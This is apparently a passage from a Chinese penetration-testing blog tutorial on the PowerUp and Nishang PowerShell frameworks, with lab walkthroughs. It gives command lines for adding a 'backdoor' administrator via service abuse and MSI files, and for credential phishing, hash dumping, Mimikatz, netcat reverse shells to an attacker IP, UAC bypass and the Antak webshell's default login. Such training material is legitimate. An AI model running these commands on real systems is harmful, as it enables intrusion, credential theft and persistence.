检查开机自启的应用程序路径和注册表键值,返回当前用户可修改的程序路径。 注册表检查的键值为: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService 执行方式: PS C:>Get-ModifiableRegistryAutoRun

  1. Get-ModifiableScheduledTaskFile

返回当前用户能够修改的计划任务程序的名称和路径。

执行方式: PS C:>Get-ModifiableScheduledTaskFile

  1. Get-Webconfig

返回当前服务器上的web.config文件中的数据库连接字符串的明文。

执行方式: PS C:>get-webconfig

  1. Invoke-ServiceAbuse

用来通过修改服务添加用户到指定组,并可以通过定制-cmd参数触发添加用户的自定义命令。

执行方式: PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC # 添加默认账号 PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号 PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定添加用户,用户密码以及添加的用户组。 PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net …"# 自定义执行命令

  1. Restore-ServiceBinary

恢复服务的可执行文件到原始目录。

执行方式: PS C:> Restore-ServiceBinary -ServiceName VulnSVC

  1. Test-ServiceDaclPermission

检查某个用户是否在一个服务有自由访问控制的权限,返回true或false。

执行方式: PS C:> Restore-ServiceBinary -ServiceName VulnSVC

  1. Write-HijackDll

输出一个自定义命令并且能够自删除的bat文件到$env:Tempdebug.bat,并输出一个能够启动这个bat文件的dll。

18.Write-UserAddMSI

生成一个安装文件,运行这个安装文件,则弹出添加用户的框。

执行方式: PS C:> Write-UserAddMSI

  1. Write-ServiceBinary

预编译C#服务的可执行文件。默认创建一个默认管理员账号。可通过Command定制自己的命令。

执行方式: PSC:>Write-ServiceBinary -ServiceName VulnSVC # 添加默认账号 PSC:>Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号 PSC:>Write-ServiceBinary-ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定添加用户,用户密码以及添加的用户组 PSC:> Write-ServiceBinary -ServiceName VulnSVC -Command "net …" # 自定义执行命令

  1. Install-ServiceBinary

通过Write-ServiceBinary写一个C#的服务用来添加用户。

执行方式: PSC:> Install-ServiceBinary -ServiceName DHCP PSC:> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" PSC:>Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123! PSC:> Install-ServiceBinary -ServiceName VulnSVC -Command "net …"

Write-ServiceBinary与Install-ServiceBinary不同的是前者生成可执行文件,后者直接安装服务。

4.PowerUp攻击模块实战演练

很多PowerUp模块不能一一演示,只针对性介绍几个常用模块的实战应用。

实战演练一

首先我们安装一个存在漏洞的服务环境: https://www.exploit-db.com/apps/4ebfe36538da7b518c2221e1abd8dcfc-pspro_50_3310.exe 安装好漏洞环境后,我们建一个普通用户:net user powerup 123456 /add 然后登录到这个新建的普通用户 我们可以把PowerUp脚本上传到目标服务器,或是远程内存加载 这里远程加载如下:

然后调用Invoke-AllChecks

先介绍下Unquoted Service Paths

简介 “包含空格但没有引号的服务路径”,利用windows解析文件路径的特性,如果一个服务的可执行文件路径设置不当,攻击者可构造对应的可执行文件,从而利用提权,PowerUp的相关模块可以帮助我们完成提权。

漏洞原理 这里假设有一个服务路径 C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe

带引号时:"C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe"会被看成一个完整的服务路径,故不会产生漏洞。 不带引号时:我们认为的服务路径是C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe,但是由于没有双引号的包裹,Windows会认为C:\Program空格后面的为Program这个程序的参数来进行启动服务。这样攻击者就可以命名一个为Program.exe的后门文件放在c盘下,进而等待含漏洞服务路径的启动或重启导致后门文件的执行。

根据前面调用Invoke-AllChecks,返回的结果存在包含空格但没有引号的服务路径 C:\Program Files (x86)\Photodex\ProShow Producer\ScsiAccess.exe 这时需要检测目录是否有写权限 C:\ 普通用户目录默认是不让写的 C:\Program Files (x86)\Photodex\ 可以使用cacls或icacls,可以看到当前用户不可写

再测试C:\Program Files (x86)\Photodex\ProShow Producer\发现可写

直接Write-ServiceBinary 来尝试提权,如下提示进程在使用

使用move把文件重命名,然后重新执行写入,这时生成的ScsiAccess.exe为利用程序

当服务器重启后,提权成功,系统会新增一个管理员权限用户john/Password123!

提权成功后我们把所有状态恢复到最初的状态

实战演练二

AlwaysInstallElevated提权 该漏洞产生的原因是用户在策略编辑器中开启了Windows Installer特权安装功能:

设置漏洞环境 管理员用户在“运行”设置框中输入“gpedit.msc”,打开组策略编辑器。 组策略——计算机配置——管理模板——Windows组件——Windows Installer——永远以高特权进行安装:选择启用。 设置完毕之后,会在两个注册表如下位置自动创建键值为”1″。 [HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001 防御的话,就是把上述启用的选项关闭

在这次中用到Get-RegistryAlwaysInstallElevated和Write-UserAddMSI两个模块 首先先加载PowerUp,使用Get-RegistryAlwaysInstallElevated检测相关注册表是否被设置

显示“true”则表示AlwaysInstallElevated注册表已经被设置:这就意味着MSI文件是以System权限运行的。 接着运行Write-UserAddMSI,会在当前目录下生成一个UserAdd.msi文件

以普通用户权限运行UserAdd.msi添加管理员账户

成功添加backdoor管理员权限账户

1.Nishang简介

Nishang是一款基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包括下载和执行、键盘记录、DNS、延时命令等脚本,被广泛应用于渗透测试的各个阶段。

下载地址如下:

GitHub – samratashok/nishang: Nishang – Offensive PowerShell for red team, penetration testing and offensive security.

下载完成后我们可以看到以下工具里面都包括一些什么功能目录

 

Nishang在PowerShell 3.0以上环境中可正常使用,在win7上PowerShell默认版本是2.0,不太支持,可以在win10中测试或者升级win7的PowerShell 的版本。

使用方式和PowerSploit一样,可以搭建一个WEB服务器,把Nishang脚本放在WEB目录,然后远程去加载调用脚本

 

为了方便我们直接把Nishang上传到本地服务器,本机加载。首先以管理员启动powershell

 

导入框架,并查看有哪些模块,如下图

 

开始对部分模块的功能进行讲解: 1.Check-VM 它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别,如下可看到是一台虚拟机

 

 

2.Nishang模块攻击实战

  1. Invoke-CredentialsPhish 这个脚本用来欺骗用户,让用户输入密码,在不输入正确密码关闭不了对话框,只能强子结束进程 Invoke-CredentialsPhish

  2.  

  3. 输入服务器正确账号和密码后

  4.  

  5. Get-PassHashes 在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了

  6.  

  7. Invoke-Mimikatz 需要管理员权限,抓取密码

  8.  

  9. Show-TargetScreen 使用MJPEG传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器(如:Firefox)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。 Victim(win7):Show-TargetScreen -IPAddres 192.168.199.129 -Port 5773 -Reverse Attacker(kali):netcat -nlvp 5773 | netcat -nlvp 8888 //这里我使用的neetcat

  10.  

  11. Get-PassHints 获取用户的密码提示信息,需要有Administrator权限来读取sam hive 有的时候可以根据提示信息来生成密码文件,大大提高爆破的成功率。还有的人会将明文密码记录在这个提示信息中

  12.  

3.PowerShell交互式Shell

Nishang可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型Shell 一、基于TCP协议的Powershell交互式Shell

Invoke-PowerShellTcp是PowerShell交互式正向连接或反向连接shell,基于TCP协议。

参数介绍: -IPAddress <String> 选择-Reverse选项时是需要连接到的IP地址 -Port <Int32> 选择-Reverse选项时是需要连接到的端口,选择-Bind选项时是需要监听的端口。 -Reverse [<SwitchParameter>] 反向连接 -Bind [<SwitchParameter>] 正向连接

使用实例: 1.正向连接 第一步:在目标机运行脚本,监听端口88

 

第二步:使用nc连接到目标机端口88

 

  1. 反向连接 第一步:使用nc监听本地端口88(注意必须先监听,不然在目标机上执行脚本会出错)

 

第二步:在目标机上运行脚本来反弹shell

 

第三步:观察攻击机,可以发现成功反弹shell

 

二、基于UDP协议的PowerShell交互式Shell Invoke-PowerShellUdpPowershell交互式正向连接或反向连接shell,基于UDP协议。 使用实例: 1.正向连接 第一步:在目标机运行脚本,监听端口66

 

第二步:使用nc连接到目标机端口66

 

  1. 反向连接

第一步:使用nc监听本地端口66
​
![image-20220324161933270](C:\Users\tian\AppData\Roaming\Typora\typora-user-images\image-20220324161933270.png)
​
第二步:在目标机上运行脚本来反弹shell
​
![image-20220324161954014](C:\Users\tian\AppData\Roaming\Typora\typora-user-images\image-20220324161954014.png)
​
第三步:观察攻击机,可以发现成功反弹shell
​
![image-20220324162005997](C:\Users\tian\AppData\Roaming\Typora\typora-user-images\image-20220324162005997.png)
​
三、基于HTTP和HTTPS协议的PowerShell交互式Shell
Invoke-PoshRatHttp and Invoke-PoshRatHttps是Powershell交互式反向连接shell,基于HTTP协议和HTTPS协议。
​
这里需要说明以下,需要攻击者以管理员身份运行
第一步:首先我们需要在攻击机上使用脚本,需要的信息有攻击机IP,要监听的端口。运行完脚本,就等着目标机反弹Shell了。
​
![image-20220324162036285](C:\Users\tian\AppData\Roaming\Typora\typora-user-images\image-20220324162036285.png)
​
第二步:在目标机上运行下列命令,反弹Shell
​
![image-20220324162049957](C:\Users\tian\AppData\Roaming\Typora\typora-user-images\image-20220324162049957.png)
​
第三步:观察攻击机,可以发现成功反弹shell
​
![image-20220324162100513](C:\Users\tian\AppData\Roaming\Typora\typora-user-images\image-20220324162100513.png)

4.权限提升

权限提升是指利用操作系统或软件应用程序中的漏洞、设计缺陷或配置疏忽,让应用或用户获得对受保护资源的高级访问权限。

这里我们主要讲通过Bypass UAC来提权

UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。在Windows Vista及以后的版本中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。在权限不够的情况下,访问系统磁盘的根目录、Windows目录,以及读写系统登录数据库等操作,都需要经常UAC(User Account Control,用户账号控制)的认证。

需要UAC的授权才能进行的操作列表如下:

配置Windows Update 增加、删除账户 更改账户类型 更改UAC的设置 安装ActiveX 安装、卸载程序 安装设备驱动程序 将文件移动/复制到Program Files或Windows目录下 查看其它用户的文件夹

UAC有如下四种设置要求:

始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度 从不提示:当用户为系统管理员时,所有程序都会以最高权限运行

如何Bypass UAC

我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。

UAC有如下四种设置要求:

始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度 从不提示:当用户为系统管理员时,所有程序都会以最高权限运行

如何Bypass UAC

我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。

 

使用Nishang中的Invoke-PsUACme.ps1我们来尝试提权 Admin用户,在没有使用以管理员身份运行时

 

我们直接运行Invoke-PsUACme来绕过UAC后

 

5.WebShell后门

存放于nishang Antak-WebShell目录下,就是一个ASPX的大马,但是命令行是PowerShell,比单纯的cmd强大很多,功能比较齐全。 将Nishang的antak.aspx文件,放在IIS网站中 然后访问网站中的antak.aspx文件(出现登陆页面) Nishang的antak用户名:Disclaimer Nishang的antak密码:ForLegitUseOnly

 

登陆成功,进入欢迎页面 输入help,可以得到帮助信息 输入ls,可以查看网站的目录结构 点击download,可以下载网站的重要文件 点击upload the file,可以上传木马文件

 

Published by

风君子

独自遨游何稽首 揭天掀地慰生平